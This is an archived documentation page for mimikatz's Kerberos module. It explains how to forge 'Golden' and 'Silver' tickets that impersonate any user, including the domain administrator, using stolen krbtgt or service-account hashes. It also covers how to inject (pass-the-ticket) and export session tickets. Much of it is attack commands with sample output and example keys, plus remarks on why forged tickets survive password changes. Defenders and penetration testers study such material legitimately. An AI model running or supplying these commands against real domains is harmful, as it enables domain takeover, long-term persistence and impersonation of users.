module ~ kerberos

By gentilkiwi

Archived: 2026-04-05 22:41:26 UTC

This module can be used without any privilege. It permits to play with official Microsoft Kerberos API - http://msdn.microsoft.com/library/windows/desktop/aa378099.aspx - and to create offline 'Golden tickets', *free, long duration* `TGT` tickets for any users 😄

Lots of informations : [fr] http://1drv.ms/1fuEU28

> Commands: ptt, golden / silver, list, tgt, purge

ptt

> Pass-The-Ticket

Injects one, or multiple, Kerberos ticket(s) in the current session (`TGT` or `TGS`).

Arguments:

- `filename` - the ticket's filename (can be multiple)
- `diretory` - a directory path, all `.kirbi` files inside will be injected.

```
 mimikatz # kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi
Ticket 'Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi' successfully submitted for current session
```

Remark: if used with tickets external to `mimikatz` , tickets must be in Kerberos credential format (`KRB_CRED`) - http://tools.ietf.org/html/rfc4120#section-5.8

See also:

- Pass-The-Hash: `sekurlsa::pth`
- [fr] http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
- [pl] http://zine.net.pl/blogs/mgrzeg/archive/2014/01/20/kerberos-a-lsass.aspx
- [en] http://rycon.hu/papers/goldenticket.html

golden / silver

> Willy Wonka's choice

This command create Kerberos ticket, a `TGT` or a `TGS` with arbitrary data, for any user you want, in groups you want... (eg: the domain administrator 😤).

Arguments:

Common:

- `/domain` - the fully qualified domain name (eg: `chocolate.local`).
- `/sid` - the SID of the **domain** (eg: `S-1-5-21-130452501-2365100805-3685010670`).
- `/user` - the username you want to impersonate, keep in mind that Administrator is not the only name for this well-known account.
- `/id` - *optional* - the id of the user - default is: `500` for the well-known Administrator.
- `/groups` - *optional* - id of groups the user belongs (first is primary group, comma separator) - default is: `513,512,520,518,519` for the well-known Administrator's groups.

Key:
Keys depend of ticket :

- for a **Golden**, they are from the `krbtgt` account;
- for a **Silver**, it comes from the "computer account" or "service account".

All of that, from `NTDS.DIT`, `lsadump::dcsync`, `lsadump::lsa /inject` or `lsadump::lsa /patch`). You must choose one :

- `/rc4` or `/krbtgt` - the `NTLM` hash
- `/aes128` - the AES128 key
- `/aes256` - the AES256 key

Target & Service for a Silver Ticket:

- `/target` - the server/computer name where the service is hosted (ex: `share.server.local`, `sql.server.local:1433`, ...)
- `/service` - The service name for the ticket (ex: `cifs`, `rpcss`, `http`, `mssql`, ...)

Target Ticket:

- `/ticket` - *optional* - filename for output the ticket - default is: `ticket.kirbi`.
- `/ptt` - no output in file, just inject the golden ticket in current session.

Lifetime:
By default, the Golden Ticket default lifetime is 10 years, but since BlackHat & Defcon 2014 it can be configured.
All offsets are **in minutes**

- `/startoffset` - *optional* - the start offset, negative to go in past, positive to have one ticket in future
- `/endin` - *optional* - how long the ticket is (from start)
- `/renewmax` - *optional* - how long maximum, renewals included, the ticket is (from start)

```
 mimikatz # kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-36850
User      : utilisateur
Domain    : chocolate.local
```

```
SID       : S-1-5-21-130452501-2365100805-3685010670
User Id   : 1107
Groups Id : *513
krbtgt    : 310b643c5316c8c3c70a10cfb17e2e31 - rc4_hmac_nt
Lifetime  : 15/08/2014 01:57:29 ; 12/08/2024 01:57:29 ; 12/08/2024 01:57:29
-> Ticket : utilisateur.chocolate.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !
```

```
 mimikatz # kerberos::golden /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /aes256:1554(
User      : Administrateur
Domain    : chocolate.local
SID       : S-1-5-21-130452501-2365100805-3685010670
User Id   : 500
Groups Id : *513 512 520 518 519
krbtgt    : 15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42 - aes256_hmac
Lifetime  : 15/08/2014 01:46:43 ; 15/08/2014 11:46:43 ; 22/08/2014 01:46:43
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrateur @ chocolate.local' successfully submitted for current session
```

Remarks:

- password changing/smartcard usage does not invalidate Golden Ticket;
- this ticket is not emitted by the real KDC, it's not related to ciphering methods allowed;
- `NTLM` hash of `krbtgt` account is never changed automatically.

See also:

- Pass-The-Hash: `sekurlsa::pth`
- [en] http://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it
- [fr] http://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos
- [pl] http://zine.net.pl/blogs/mgrzeg/archive/2014/01/20/kerberos-a-lsass.aspx
- [en] http://rycon.hu/papers/goldenticket.html

tgt

Displays informations about the `TGT` of the current session.

```
 mimikatz # kerberos::tgt
Kerberos TGT of current session :
           Start/End/MaxRenew: 15/08/2014 01:46:43 ; 15/08/2014 11:46:43 ; 22/08/2014 01:46:43
           Service Name (02) : krbtgt ; chocolate.local ; @ chocolate.local
           Target Name  (--) : @ chocolate.local
           Client Name  (01) : Administrateur ; @ chocolate.local
           Flags 40e00000    : pre_authent ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             0000000000000000000000000000000000000000000000000000000000000000
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 0        [...]

        ** Session key is NULL! It means allowtgtsessionkey is not set to 1 **
```

Remark: If session key is filled with 00, then `allowtgtsessionkey` is not enabled - http://support.microsoft.com/kb/308339 - the session key will not be exported for `TGT` with `kerberos::list /export` unless you set it, it's not a problem with `TGS`.
`sekurlsa::tickets /export` works without this key because it reads raw memory.

list

Lists and export Kerberos tickets (`TGT` and `TGS`) of the current session.

Argument:

- `/export` - *optional* - export all tickets to files

```
 mimikatz # kerberos::list /export

[00000000] - 12
   Start/End/MaxRenew: 24/04/2014 14:54:56 ; 25/04/2014 00:54:56 ; 01/05/2014 14:54:56
   Server Name       : krbtgt/CHOCOLATE.LOCAL @ CHOCOLATE.LOCAL
   Client Name       : Administrateur @ CHOCOLATE.LOCAL
   Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
   * Saved to file     : 0-40e10000-Administrateur@krbtgt~CHOCOLATE.LOCAL-CHOCOLATE.LOCAL.kirbi

[00000001] - 12
   Start/End/MaxRenew: 24/04/2014 15:13:03 ; 25/04/2014 00:54:56 ; 01/05/2014 14:54:56
   Server Name       : cifs/srvcharly.chocolate.local @ CHOCOLATE.LOCAL
   Client Name       : Administrateur @ CHOCOLATE.LOCAL
   Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
   * Saved to file     : 1-40a50000-Administrateur@cifs~srvcharly.chocolate.local-CHOCOLATE.LOCAL.kirbi
```

See also:

- [fr] http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos

purge

Purges all tickets of the current session.

```
 mimikatz # kerberos::purge
Ticket(s) purge for current session is OK
```
